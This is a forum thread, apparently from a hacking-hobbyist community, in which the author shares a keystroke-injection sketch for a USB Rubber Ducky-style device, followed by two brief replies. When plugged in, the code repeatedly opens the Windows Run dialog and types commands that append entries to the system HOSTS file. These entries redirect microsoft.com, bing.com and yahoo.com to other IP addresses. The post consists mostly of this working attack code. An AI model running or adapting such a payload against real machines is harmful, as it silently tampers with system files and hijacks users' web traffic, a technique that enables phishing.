Jump to content

[Version 1] Reroute With Host File In Windows


Recommended Posts

I've only tested this on WindowsXP running in a VirtualBox in Linux

If other could test it and let me know how it runs on there systems it would be helpful.

/*
Rubber Ducky HOSTs
Created By Kris Occhipinti (A.K.A. Metalx1000)
April 27th 2010

Released under the GPLv3
http://www.gnu.org/licenses/gpl.html

Description:
This code will modify your windows HOSTS file to redirct web browsing
By default it re-routes 
      microsoft.com to linux.com
      bing.com to Google.com
      yahoo.com to Google.com
It loops every 5 second incase the code was missed the first time.

For more info Please Visit:
http://FilmsByKris.com
http://www.hak5.org/

*/
void setup() { } // no setup needed
void loop() {
  //clears any modifier keys
  Keyboard.set_modifier(0);
  Keyboard.send_now();


  run_cmd();
  //routes microsoft.com to linux.com 
  Keyboard.println("cmd /c echo 140.211.167.55    microsoft.com >> c:\\WINDOWS\\system32\\drivers\\etc\\hosts");
  
  run_cmd();
  //routes bing.com to Google.com 
  Keyboard.println("cmd /c echo 74.125.65.147    bing.com >> c:\\WINDOWS\\system32\\drivers\\etc\\hosts");
  
  run_cmd();
  //routes yahoo.com to Google.com 
  Keyboard.println("cmd /c echo 74.125.65.147    yahoo.com >> c:\\WINDOWS\\system32\\drivers\\etc\\hosts");
  delay(100);
  
  
  Keyboard.send_now();
  delay(20);
  
  
  Keyboard.set_key1(0);
  Keyboard.send_now();

  delay(5000);
}

void run_cmd(){
  Keyboard.set_modifier(MODIFIERKEY_GUI);
  Keyboard.set_key1(KEY_R);
  Keyboard.send_now();
  delay(20);
  
  // release all the keys at the same instant
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
  delay(500); 
}

Link to comment
Share on other sites

You've already posted these in the wiki, you don't need to then go and fill up the forum with them.

Thanks for the heads up, I didn't realize they got posted there.

When I first got my kit I didn't think to come the forum so I just emailed the code to Darren.

He must have posted them there for me.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...